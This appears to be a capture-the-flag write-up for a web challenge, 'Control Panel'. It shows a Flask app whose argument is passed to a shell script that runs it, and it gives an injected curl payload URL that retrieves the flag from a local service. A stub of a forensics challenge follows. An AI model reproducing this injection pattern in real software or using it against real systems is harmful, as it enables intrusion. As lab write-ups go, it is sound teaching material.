By mr_mph

Control Panel [Web]

Looking in the source code we have app.py:

from flask import Flask, render_template, request
from subprocess import getoutput

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    command = request.args.get("command")
    if not command:
        return render_template("index.html")
    
    arg = request.args.get("arg")
    if not arg:
        arg = ""

    if command == "list_processes":
        return getoutput("ps")
    elif command == "list_connections":
        return getoutput("netstat -tulpn")
    elif command == "list_storage":
        return getoutput("df -h")
    elif command == "destroy_humans":
        return getoutput("/www/destroy_humans.sh " + arg)
    
    return render_template("index.html")

Putting in a request like /?command=destroy_humans&arg=<arg>

We pass in that <arg> to /www/destroy_humans.sh:

#!/bin/sh

check_status() {
    curl -s localhost:3000/status
}

destroy_humans() {
    curl -s localhost:3000/destroy
}

if [ "$#" -gt 0 ]; then
    $*
else
    echo -e "Destroy Humans option selected. Please choose 'check_status' or 'destroy_humans'."
fi

If given an argument, it simply executes it. We now have code execution with:

https://uscybercombine-s4-control-panel.chals.io/?command=destroy_humans&arg=<cmd>

In another script, destroyer.py, we see where the flag is located:

#!/usr/bin/env python3
import subprocess, json
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer

def get_json(content):
	return json.dumps(content).encode()

def http_server(host_port,content_type="application/json"):
	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			def resp_ok():
				self.send_response(200)
				self.send_header("Content-type", content_type)
				self.end_headers()
			if self.path == '/status':
				resp_ok()
				self.wfile.write(get_json({'status': 'ready to destroy'}))
				return
			elif self.path == "/destroy":
				resp_ok()
				self.wfile.write(get_json({'status': "destruction complete!"}))
				return
			elif self.path == '/shutdown':
				resp_ok()
				self.wfile.write(get_json({'status': 'shutting down...'}))
				self.wfile.write(get_json({'status': 'SIVBGR{no-flag-4-u}'}))
				return
			self.send_error(404, '404 not found')
		def log_message(self, format, *args):
			pass
	class _TCPServer(TCPServer):
		allow_reuse_address = True
	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()

http_server(('127.0.0.1',3000))

We can see the flag is at http://127.0.0.1:3000/shutdown, to get it, we can just run curl -s <http://127.0.0.1:3000/shutdown>

Final Payload:

https://uscybercombine-s4-control-panel.chals.io/?command=destroy_humans&arg=curl%20-s%20http://127.0.0.1:3000/shutdown

Untitled

Secret [Forensics]

We are given a pdf with some redacted text:

Untitled